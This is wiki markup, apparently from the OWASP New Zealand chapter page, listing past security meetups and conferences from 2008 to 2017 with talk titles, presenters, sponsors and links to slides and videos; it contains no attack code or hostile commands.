OWASP NZ Day 2018 will be held on Friday the 16th of February 2018 at the University of Auckland School of Business.&lt;br /&gt;
[https://twitter.com/owaspnz/status/894717486376951810 Source.]&lt;br /&gt;
&lt;br /&gt;
== Past Events ==&lt;br /&gt;
&lt;br /&gt;
; 31 July 2017&lt;br /&gt;
[https://www.meetup.com/OWASP-New-Zealand-Chapter-Wellington/events/241187473/ OWASP NZ Wellington Meetup page]&lt;br /&gt;
: '''Presentation:''' What is Cross-Site Request Forgery?&lt;br /&gt;
: '''Video:''' [https://www.youtube.com/watch?v=G1aLGaMqnm0]&lt;br /&gt;
: '''Location:''' Wellington&lt;br /&gt;
: '''Presented By:''' Vales Bakaitis&lt;br /&gt;
&lt;br /&gt;
; 29 May 2017&lt;br /&gt;
[https://www.meetup.com/OWASP-New-Zealand-Chapter-Wellington/events/239202702/ OWASP NZ Wellington Meetup page]&lt;br /&gt;
: '''Presentation:''' Developer's Guide to Preventing XSS&lt;br /&gt;
: '''Video:''' [https://www.youtube.com/watch?v=0J5Rpf3nNjU]&lt;br /&gt;
: '''Location:''' Wellington&lt;br /&gt;
: '''Presented By:''' Felix Shi&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
;19th and 20th of April 2017&lt;br /&gt;
&lt;br /&gt;
[https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2017 https://www.owasp.org/images/6/63/OWASP_NZ_Day_2017_logo.jpg]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
At the University of Auckland School of Business&lt;br /&gt;
&lt;br /&gt;
'''Gold Sponsors:'''&lt;br /&gt;
&amp;lt;table width=&amp;quot;100%&amp;quot; border=&amp;quot;0&amp;quot; cellspacing=&amp;quot;7&amp;quot; cellpadding=&amp;quot;0&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;tr&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[http://www.security-assessment.com https://www.owasp.org/images/4/41/SA_Logo_w_DD.gif]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[http://www.insomniasec.com https://www.owasp.org/images/e/ef/INSOMNIA.PNG]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[http://www.aurainfosec.com/ https://www.owasp.org/images/e/ef/Aura_PBK_Colour.jpg]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
  &amp;lt;tr&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[https://www.redshield.co/ https://www.owasp.org/images/a/ab/Redshield.png]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[http://www.zxsecurity.co.nz/ https://www.owasp.org/images/2/27/Zx.png]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[http://www.quantumsecurity.co.nz/ https://www.owasp.org/images/4/4e/Quantumblack3.png]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; 29 March 2017&lt;br /&gt;
[https://www.meetup.com/OWASP-New-Zealand-Chapter-Christchurch/events/236349292/ OWASP NZ Christchurch Meetup page]&lt;br /&gt;
: '''PHP Hurts Programmers (and other tales)'''&lt;br /&gt;
: '''Presented By:''' [https://twitter.com/spronkey Keith Humm]&lt;br /&gt;
: '''Slides:''' [https://speakerdeck.com/spronkey/php-hurts-programmers-and-other-tales on speakerdeck]&lt;br /&gt;
: '''Locations:''' Christchurch&lt;br /&gt;
: '''Co-Sponsor:''' [http://www.catalyst.net.nz/ Catalyst]&lt;br /&gt;
&lt;br /&gt;
; 27 Feb 2017&lt;br /&gt;
[https://www.meetup.com/OWASP-New-Zealand-Chapter-Wellington/events/237712167/ OWASP NZ Wellington Meetup page]&lt;br /&gt;
: '''Presentation:''' Building the ultimate login and signup&lt;br /&gt;
: '''Video:''' [https://www.youtube.com/watch?v=E25KxLKwY-M Youtube]&lt;br /&gt;
: '''Location:''' Wellington&lt;br /&gt;
: '''Presented By:''' Matt Cotterell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
; 29 November 2016&lt;br /&gt;
[https://www.meetup.com/OWASP-New-Zealand-Chapter-Wellington/events/233253214/ OWASP NZ Wellington Meetup page]&lt;br /&gt;
: '''Presentation:''' OWASP Top Ten - Developing secure web apps (PHP-flavoured)&lt;br /&gt;
: '''Video:''' [https://www.youtube.com/watch?v=7u08zCz9viU  Youtube]&lt;br /&gt;
: '''Location:''' Wellington&lt;br /&gt;
: '''Presented By:''' Kirk Jackson&lt;br /&gt;
: In conjunction with the [https://www.meetup.com/PHP-Usergroup-Wellington/ PHP user group Wellington]&lt;br /&gt;
&lt;br /&gt;
; 10 October 2016&lt;br /&gt;
[https://www.meetup.com/OWASP-New-Zealand-Chapter-Wellington/events/233954065/ OWASP NZ Wellington Meetup page]&lt;br /&gt;
: '''Presentation:''' Introduction to Ruby on Rails security&lt;br /&gt;
: '''Video:''' [https://www.youtube.com/watch?v=Hez1QYc9yo8 Youtube]&lt;br /&gt;
: '''Locations:''' Wellington&lt;br /&gt;
: '''Presented By:''' Tim Goddard&lt;br /&gt;
: '''Sponsor:''' [https://www.insomniasec.com Insomnia]&lt;br /&gt;
&lt;br /&gt;
; 28 September 2016&lt;br /&gt;
[https://www.meetup.com/OWASP-New-Zealand-Chapter-Christchurch/events/232611291/ OWASP NZ Christchurch Meetup page]&lt;br /&gt;
: '''Presentation / Demo''' Applying Cold War Learnings to our Daily OPSEC&lt;br /&gt;
: '''DeadDrop:''' (https://deaddrop.jadeworld.com/)&lt;br /&gt;
: '''Github:''' (https://github.com/phage-nz/deaddrop)&lt;br /&gt;
: '''Chris's Blog Post:''' (https://bytefog.blogspot.co.nz/2015/09/burn-after-reading.html)&lt;br /&gt;
: '''Locations:''' Christchurch&lt;br /&gt;
: '''Presented By:''' [https://twitter.com/phage_nz Chris Campbell]&lt;br /&gt;
: '''Co-Sponsor:''' [http://www.catalyst.net.nz/ Catalyst] and [http://blog.binarymist.net/ BinaryMist]&lt;br /&gt;
&lt;br /&gt;
; 29 August 2016&lt;br /&gt;
[https://www.meetup.com/OWASP-New-Zealand-Chapter-Wellington/events/232212284/ OWASP NZ Wellington Meetup page]&lt;br /&gt;
: '''Presentation:''' Mobile app security: Intro to the OWASP Mobile Top 10&lt;br /&gt;
: '''Video:''' [https://www.youtube.com/watch?v=SbXO6wNvOM4 Youtube]&lt;br /&gt;
: '''Location:''' Wellington&lt;br /&gt;
: '''Presented By:''' Mike Haworth&lt;br /&gt;
&lt;br /&gt;
; 29 June 2016&lt;br /&gt;
[http://www.meetup.com/OWASP-New-Zealand-Chapter-Christchurch/events/229985413/ OWASP NZ Christchurch Meetup page]&lt;br /&gt;
: '''Presentation / Demo''' Security Regression Testing with ZapAPI and NodeGoat&lt;br /&gt;
: '''Teaser:''' (https://youtu.be/DrwXUOJWMoo)&lt;br /&gt;
: '''Github:''' (https://github.com/binarymist/NodeGoat/wiki/Security-Regression-Testing-with-Zap-API)&lt;br /&gt;
: '''Sourced From:''' Kims Book (https://leanpub.com/holistic-infosec-for-web-developers/read#process-agile-development-and-practices-security-regression-testing)&lt;br /&gt;
: '''Locations:''' Christchurch&lt;br /&gt;
: '''Presented By:''' [https://twitter.com/binarymist Kim Carter]&lt;br /&gt;
: '''Co-Sponsor:''' [http://www.catalyst.net.nz/ Catalyst] and [http://blog.binarymist.net/ BinaryMist]&lt;br /&gt;
&lt;br /&gt;
; 27 June 2016&lt;br /&gt;
[http://www.meetup.com/OWASP-New-Zealand-Chapter-Wellington/events/232017285/ OWASP NZ Wellington Meetup page]&lt;br /&gt;
: '''Presentation:''' Introduction to using a web application firewall&lt;br /&gt;
: '''Video:''' [https://www.youtube.com/watch?v=iAPFf9Iqwos  Youtube]&lt;br /&gt;
: '''Location:''' Wellington&lt;br /&gt;
: '''Presented By:''' Graeme Neilson&lt;br /&gt;
: '''Sponsor:''' [https://www.redshield.co RedShield]&lt;br /&gt;
&lt;br /&gt;
; 30 March 2016&lt;br /&gt;
[http://www.meetup.com/OWASP-New-Zealand-Chapter-Christchurch/events/226227782/ OWASP NZ Christchurch Meetup page]&lt;br /&gt;
: '''Presentation:''' Qubes OS Discussion (https://www.qubes-os.org)&lt;br /&gt;
: '''Locations:''' Christchurch&lt;br /&gt;
: '''Presented By:''' Craig Rowland&lt;br /&gt;
: '''Co-Sponsor:''' [http://www.dimensiondata.com/en-NZ Dimension Data] and [http://binarymist.io/ BinaryMist Limited]&lt;br /&gt;
&lt;br /&gt;
== ''' 2016 ''' ==&lt;br /&gt;
&lt;br /&gt;
;3rd and 4th of February 2016&lt;br /&gt;
&lt;br /&gt;
[https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2016 https://www.owasp.org/images/2/23/OWASP_NZ_Day_2016_logo.jpg]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
At the University of Auckland School of Commerce&lt;br /&gt;
&lt;br /&gt;
'''Gold Sponsors:'''&lt;br /&gt;
&amp;lt;table width=&amp;quot;100%&amp;quot; border=&amp;quot;0&amp;quot; cellspacing=&amp;quot;0&amp;quot; cellpadding=&amp;quot;0&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;tr&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[[File:INSOMNIA.PNG|center|300px|link=http://www.insomniasec.com/]]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[[File:RedShield.png|center|300px|link=https://auraredshield.com/]]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[http://www.security-assessment.com https://www.owasp.org/images/4/41/SA_Logo_w_DD.gif]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
  &amp;lt;tr&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[http://www.insomniasec.com Insomnia Security]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[https://auraredshield.com/ Aura RedShield]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[http://www.security-assessment.com www.security-assessment.com]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ''' 2015 ''' ==&lt;br /&gt;
&lt;br /&gt;
; 25 November 2015&lt;br /&gt;
[http://www.meetup.com/OWASP-New-Zealand-Chapter-Christchurch/events/225737100/ OWASP NZ Christchurch Meetup page]&lt;br /&gt;
: '''Presentation:''' UAC, Governance and Managing the External Infosec Audit&lt;br /&gt;
: '''Locations:''' Christchurch&lt;br /&gt;
: '''Presented By:''' Drewe Hinkley&lt;br /&gt;
: '''Co-Sponsor:''' [http://www.dimensiondata.com/en-NZ Dimension Data] and [http://binarymist.io/ BinaryMist Limited]&lt;br /&gt;
&lt;br /&gt;
; 30 September 2015&lt;br /&gt;
[http://www.meetup.com/OWASP-New-Zealand-Chapter-Christchurch/events/223462991/ OWASP NZ Christchurch Meetup page]&lt;br /&gt;
: '''Two part Presentation:''' The Exploited and the Exploiters - Case Study of a Real Cyber Hack and Live Demo's from [https://leanpub.com/b/holisticinfosecforwebdevelopers Kims book ]&lt;br /&gt;
: '''Locations:''' Christchurch&lt;br /&gt;
: '''Presented By:''' Salinda Lekamge and [https://twitter.com/binarymist Kim Carter]&lt;br /&gt;
&lt;br /&gt;
; 24 June 2015&lt;br /&gt;
[http://www.meetup.com/OWASP-New-Zealand-Chapter-Christchurch/events/221412721/ OWASP NZ Christchurch Meetup page]&lt;br /&gt;
: '''Presentation:''' &amp;quot;[http://blog.binarymist.net/presentations-publications/#does-your-cloud-solution-look-like-a-mushroom Does Your Cloud Solution Look Like a Mushroom]&amp;quot;.&lt;br /&gt;
: '''Locations:''' Christchurch&lt;br /&gt;
: '''Presented By:''' [https://twitter.com/binarymist Kim Carter].&lt;br /&gt;
: '''Co-Sponsor:''' [http://www.dimensiondata.com/en-NZ Dimension Data] and [http://binarymist.io/ BinaryMist Limited]&lt;br /&gt;
&lt;br /&gt;
; 25 March 2015&lt;br /&gt;
[http://www.meetup.com/OWASP-New-Zealand-Chapter-Christchurch/events/219456317/ OWASP NZ Christchurch Meetup page]&lt;br /&gt;
: '''Presentation:''' Reverse Engineering, Cracking, Compromising Software Security &amp;amp; Mitigations&lt;br /&gt;
: '''Locations:''' Christchurch&lt;br /&gt;
: '''Presented By:''' Rob Gilmour, Senior Software Engineer, Technical Support, JADE Software Corporation Ltd.&lt;br /&gt;
: '''Co-Sponsor:''' [http://www.dimensiondata.com/en-NZ Dimension Data] and [http://binarymist.io/ BinaryMist Limited]&lt;br /&gt;
&lt;br /&gt;
;26th and 27th of February 2015&lt;br /&gt;
&lt;br /&gt;
[[File:OWASP_NZ_Day_2015_logo_small.png|400px|link=https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2015|26th and 26th February 2015 - University of Auckland Engineering Department&lt;br /&gt;
]]&lt;br /&gt;
&lt;br /&gt;
At the University of Auckland Engineering Department&lt;br /&gt;
&lt;br /&gt;
== ''' 2014 ''' ==&lt;br /&gt;
&lt;br /&gt;
; 26 November 2014&lt;br /&gt;
[http://www.meetup.com/OWASP-New-Zealand-Chapter-Christchurch/events/209420462/ OWASP NZ Christchurch Meetup page]&lt;br /&gt;
: '''Workshop:''' Review SSL/TLS, demo sslstrip and mitigation techniques&lt;br /&gt;
: '''Locations:''' Christchurch&lt;br /&gt;
: '''Presented By:''' [https://twitter.com/kevinnz Kevin Alcock], [https://twitter.com/katiposec Security Consultant] at [https://katiposec.com/ Katipo Security]&lt;br /&gt;
: '''Co-Sponsor:''' [http://www.dimensiondata.com/en-NZ Dimension Data] and [http://binarymist.net/ BinaryMist Limited]&lt;br /&gt;
&lt;br /&gt;
; 25 September 2014&lt;br /&gt;
[http://www.meetup.com/OWASP-New-Zealand-Chapter-Christchurch/events/198512052/ OWASP NZ Christchurch Meetup page]&lt;br /&gt;
: '''Workshop:''' Review, Exploit and Learn from [https://bytefog.blogspot.co.nz/2015/11/lord-of-flies.html Vulnerable Web App]&lt;br /&gt;
: '''Locations:''' Christchurch&lt;br /&gt;
: '''Presented By:''' [https://twitter.com/t0x0_nz Chris Campbell], Security &amp;amp; Operations Consultant Jade&lt;br /&gt;
: '''Co-Sponsor:''' [http://www.dimensiondata.com/en-NZ Dimension Data] and [http://binarymist.net/ BinaryMist Limited]&lt;br /&gt;
&lt;br /&gt;
; 24 July 2014&lt;br /&gt;
[http://www.meetup.com/OWASP-New-Zealand-Chapter-Wellington/events/193784032/ OWASP NZ Wellington Meetup page]&lt;br /&gt;
: '''Workshop:''' Web App Security Workshop&lt;br /&gt;
: '''Locations:''' Wellington&lt;br /&gt;
: '''Presented By:''' Adrian Hayes&lt;br /&gt;
: '''Sponsor:''' [http://www.dimensiondata.com/en-NZ Dimension Data]&lt;br /&gt;
&lt;br /&gt;
== '''2013''' ==&lt;br /&gt;
&lt;br /&gt;
; 19 December 2013&lt;br /&gt;
[http://www.meetup.com/OWASP-New-Zealand-Chapter/events/154075992/ Meetup Link Here]&lt;br /&gt;
: '''Co-Sponsor:''' [http://security-assessment.com Security-Assessment.com] and [http://www.touchpoint.co.nz Touchpoint]&lt;br /&gt;
: '''Locations:''' Wellington, Auckland, Christchurch, Webcast&lt;br /&gt;
: '''Details:''' All details are on the meetup page above&lt;br /&gt;
: '''Presentation:''' [https://www.owasp.org/images/9/9f/Extending-Burp-with-Python.pptx Extending Burp with Python]&lt;br /&gt;
: '''Presented By:''' Mike Haworth, Aura Information Security&lt;br /&gt;
&lt;br /&gt;
;11th and 12th of September 2013&lt;br /&gt;
&lt;br /&gt;
[[File:OWASP_NZ_Day_2013_logo.png|400px|link=https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2013|11th and 12st September 2013 - Auckland Business School&lt;br /&gt;
]]&lt;br /&gt;
&lt;br /&gt;
At the Auckland Business School&lt;br /&gt;
&lt;br /&gt;
[[OWASP New Zealand Day 2013|https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2013]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
; 22 May 2013&lt;br /&gt;
[http://www.meetup.com/OWASP-New-Zealand-Chapter/events/115108982/ OWASP Meetup page to RSVP]&lt;br /&gt;
: '''Co-Sponsor:''' [http://security-assessment.com Security-Assessment.com] and [http://www.touchpoint.co.nz Touchpoint]&lt;br /&gt;
: '''Locations:''' Wellington, Auckland, Webcast&lt;br /&gt;
: '''Details:''' All details are on the meetup page above&lt;br /&gt;
&lt;br /&gt;
== '''2012''' ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
; 31st August 2012&lt;br /&gt;
[https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2012 OWASP New Zealand Day 2012]&lt;br /&gt;
: '''Co-Sponsor:''' [http://www.auckland.ac.nz/ The University of Auckland], [http://www.security-assessment.com Security-Assessment.com], [http://www.aurainfosec.com Aura Information Security], [http://www.insomniasec.com Insomnia Security], [http://www.lateralsecurity.com Lateral Security], [http://www.webdrive.co.nz Web Drive]&lt;br /&gt;
: '''Location:''' Auckland &lt;br /&gt;
: '''Event site:''' [[OWASP_New_Zealand_Day_2012|OWASP New Zealand Day 2012]]&lt;br /&gt;
&lt;br /&gt;
; 8th May 2012&lt;br /&gt;
: '''Co-Sponsor:''' [http://security-assessment.com Security-Assessment.com] and [http://www.touchpoint.co.nz Touchpoint]&lt;br /&gt;
: '''Locations:''' Wellington, Auckland&lt;br /&gt;
: '''Presentation:''' [https://www.owasp.org/images/e/e0/Owasp2012-MarkPiper.pdf An Overview and introduction to modern day BeEF]&lt;br /&gt;
: '''Presented By:''' Mark Piper, Insomnia Security&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
; 28th February 2012&lt;br /&gt;
: '''Co-Sponsor:''' [http://security-assessment.com Security-Assessment.com] and [http://www.touchpoint.co.nz Touchpoint]&lt;br /&gt;
: '''Locations:''' Wellington, Auckland&lt;br /&gt;
: '''Presentation:''' [https://www.owasp.org/images/2/27/OWASP_Top_10-7_to_10-aj.pdf Introduction to the OWASP Top Ten - Part 3]&lt;br /&gt;
: '''Presented By:''' Adrian Hayes, Security Consultant (Security-Assessment.com)&lt;br /&gt;
: '''Presentation:''' [https://www.owasp.org/images/0/08/OWASP-Mistaken_Identity-Password_Reset-nickf.pdf Mistaken Identity: How Not To Build A Password Reset Process]&lt;br /&gt;
: '''Presented By:''' Nick Freeman, Senior Security Consultant (Security-Assessment.com)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== '''2011''' ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- 2011 --&amp;gt;&lt;br /&gt;
; 6th December 2011&lt;br /&gt;
: '''Co-Sponsor:''' [http://security-assessment.com Security-Assessment.com] and [http://www.touchpoint.co.nz Touchpoint]&lt;br /&gt;
: '''Locations:''' Wellington, Auckland&lt;br /&gt;
: '''Presentation:''' [https://www.owasp.org/images/6/6d/OWASP_NZ-DEC2011-OWASP_Top_10-4_to_6.pdf Introduction to the OWASP Top Ten - Part 2]&lt;br /&gt;
: '''Presented By:''' Adrian Hayes, Security Consultant (Security-Assessment.com)&lt;br /&gt;
: '''Presentation:''' [https://www.owasp.org/images/1/15/OWASP_NZ-DEC2011-Hardened_Hosting.pdf Hardened Hosting]&lt;br /&gt;
: '''Presented By:''' Quintin Russ, Technical Director (SiteHost)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
; 20th September 2011&lt;br /&gt;
: '''Co-Sponsor:''' [http://security-assessment.com Security-Assessment.com]&lt;br /&gt;
: '''Locations:''' Wellington, Auckland&lt;br /&gt;
: '''Presentation:''' [https://www.owasp.org/images/c/cf/OWASP_NZ_SEP2011_TOP-10_1-of-3.pdf Introduction to the OWASP Top Ten - Part 1]&lt;br /&gt;
: '''Presented By:''' Nick Freeman, Security Consultant (Security-Assessment.com)&lt;br /&gt;
: '''Presentation:''' [https://www.owasp.org/images/3/31/OWASP_NZ_SEP2011_Clickjacking-for-shells_PDF-version.pdf Clickjacking for Shells]&lt;br /&gt;
: '''Presented By:''' Andrew Horton, Security Consultant (Security-Assessment.com)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
; 7th July 2011&lt;br /&gt;
[https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2011 https://www.owasp.org/images/0/05/OWASP_NZ_Day_2011_Logo.png]&lt;br /&gt;
: '''Co-Sponsor:''' [http://www.security-assessment.com Security-Assessment.com], [http://www.auckland.ac.nz/ The University of Auckland]&lt;br /&gt;
: '''Location:''' Auckland&lt;br /&gt;
: '''Presentations:''' [http://www.owasp.org/index.php/OWASP_New_Zealand_Day_2011#tab=Speakers Download] &lt;br /&gt;
: '''Event site:''' [[OWASP_New_Zealand_Day_2011|OWASP New Zealand Day 2011]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
; 2nd March 2011&lt;br /&gt;
: '''Co-Sponsor:''' [http://security-assessment.com Security-Assessment.com]&lt;br /&gt;
: '''Locations:''' Wellington, Auckland&lt;br /&gt;
: '''Presentation:''' Crazy Insecure Web Apps Google Didn't Tell You About..&lt;br /&gt;
: '''Presented By:''' Adrian Hayes, Security Consultant (Security-Assessment.com)&lt;br /&gt;
: '''Presentation:''' [http://www.owasp.org/images/5/5e/2011-03-02-OWASP.pdf I know what you did last summer: The latest from the world of web hacks]&lt;br /&gt;
: '''Presented By:''' Kirk Jackson, Security Consultant (Aura Software Security)&lt;br /&gt;
&lt;br /&gt;
== '''2010''' ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- 2010 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; 15th July 2010&lt;br /&gt;
[https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2010 http://www.owasp.org/images/a/a7/Owasp_nz_day_2010.jpg]&lt;br /&gt;
: '''Co-Sponsor:''' [http://www.security-assessment.com Security-Assessment.com], [http://www.lateralsecurity.com Lateral Security], [http://www.auckland.ac.nz/ The University of Auckland]&lt;br /&gt;
: '''Location:''' Auckland&lt;br /&gt;
: '''Presentations:''' [http://www.owasp.org/index.php/OWASP_New_Zealand_Day_2010#tab=Presentations Download] &lt;br /&gt;
: '''Event site:''' [[OWASP_New_Zealand_Day_2010|OWASP New Zealand Day 2010]]&lt;br /&gt;
&lt;br /&gt;
; 4th March 2010&lt;br /&gt;
: '''Co-Sponsor:''' [http://security-assessment.com Security-Assessment.com]&lt;br /&gt;
: '''Locations:''' Wellington, Auckland&lt;br /&gt;
: '''Presentation:''' MS-SQL Injections.&lt;br /&gt;
: '''Presented By:''' Scott Bell, Security Consultant (Security-Assessment.com)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== '''2009''' ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- 2009 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; 10th November 2009&lt;br /&gt;
: '''Co-Sponsor:''' [http://security-assessment.com Security-Assessment.com]&lt;br /&gt;
: '''Locations:''' Wellington, Auckland&lt;br /&gt;
: '''Presentation:''' Testing AMF/Flex.&lt;br /&gt;
: '''Presented By:''' Nick Freeman, Security Consultant (Security-Assessment.com)&lt;br /&gt;
: '''Presentation:''' &amp;quot;Shared Ownership&amp;quot;, from a web security perspective.&lt;br /&gt;
: '''Presented By:''' Quintin Russ, Technical Director (Site Host)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
; 13th July 2009&lt;br /&gt;
[https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2009 https://www.owasp.org/images/8/85/Owasp_nz_logo.jpg]&lt;br /&gt;
: '''Co-Sponsor:''' [http://www.security-assessment.com Security-Assessment.com], [http://www.lateralsecurity.com Lateral Security], [http://www.auckland.ac.nz/ The University of Auckland]&lt;br /&gt;
: '''Location:''' Auckland&lt;br /&gt;
: '''Presentations:''' [http://www.owasp.org/index.php/OWASP_New_Zealand_Day_2009#tab=Presentations Download] &lt;br /&gt;
: '''Event site:''' [[OWASP_New_Zealand_Day_2009|OWASP New Zealand Day 2009]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
; 19th March 2009&lt;br /&gt;
: '''Co-Sponsor:''' [http://www.vodafone.co.nz Vodafone New Zealand] and [http://security-assessment.com Security-Assessment.com]&lt;br /&gt;
: '''Locations:''' Wellington, Auckland&lt;br /&gt;
: '''Presentation:''' &amp;quot;[http://www.owasp.org/index.php/Image:ActiveXploitation_In_2009.pptx ActiveXploitation in 2009]&amp;quot;&lt;br /&gt;
: '''Presented By:''' Paul Craig, Principal Security Consultant (Security-Assessment.com)&lt;br /&gt;
: '''Presentation:''' &amp;quot;[http://www.owasp.org/index.php/Image:OWASP_Mar09_Reversing_JavaScript.zip Reversing JavaScript]&amp;quot;&lt;br /&gt;
: '''Presented By:''' Roberto Suggi Liverani, Senior Security Consultant (Security-Assessment.com)&lt;br /&gt;
&lt;br /&gt;
== '''2008''' ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- 2008 --&amp;gt;&lt;br /&gt;
; 5th November 2008&lt;br /&gt;
: '''Co-Sponsor:''' [http://www.vodafone.co.nz Vodafone New Zealand] and [http://security-assessment.com Security-Assessment.com]&lt;br /&gt;
: '''Locations:''' Wellington, Auckland&lt;br /&gt;
: '''Presentation:''' &amp;quot;[https://www.owasp.org/index.php/Image:Common_Application_Flaws.ppt Common Application Flaws]&amp;quot;&lt;br /&gt;
: '''Presented By:''' Brett Moore, Network Intrusion Specialist (Insomnia Security)&lt;br /&gt;
: '''Presentation:''' &amp;quot;In your Browser, Jackin your Clicks&amp;quot;&lt;br /&gt;
: '''Presented By:''' Beau Butler, Security Consultant (Security-Assessment.com)&lt;br /&gt;
: '''Presentation:''' &amp;quot;Opera Stored Cross Site Scripting&amp;quot;&lt;br /&gt;
: '''Presented By:''' Roberto Suggi Liverani, Security Consultant (Security-Assessment.com)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
; 3rd September 2008&lt;br /&gt;
: '''Co-Sponsor:''' [http://www.microsoft.com/en/nz/default.aspx Microsoft] and [http://security-assessment.com Security-Assessment.com]&lt;br /&gt;
: '''Locations:''' Wellington, Auckland&lt;br /&gt;
: '''Presentation:''' &amp;quot;[https://www.owasp.org/index.php/Image:Browser_security.ppt Browser Security]&amp;quot;&lt;br /&gt;
: '''Presented By:''' Roberto Suggi Liverani, Security Consultant (Security-Assessment.com)&lt;br /&gt;
: '''Presentation:''' &amp;quot;[https://www.owasp.org/index.php/Image:Time_Based_SQL_Injections.ppt Time based blind SQL Injections]&amp;quot;&lt;br /&gt;
: '''Presented By:''' Muhaimin Dzulfakar, Security Consultant (Security-Assessment.com)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
; 25th June 2008&lt;br /&gt;
: '''Co-Sponsor:''' [http://security-assessment.com Security-Assessment.com]&lt;br /&gt;
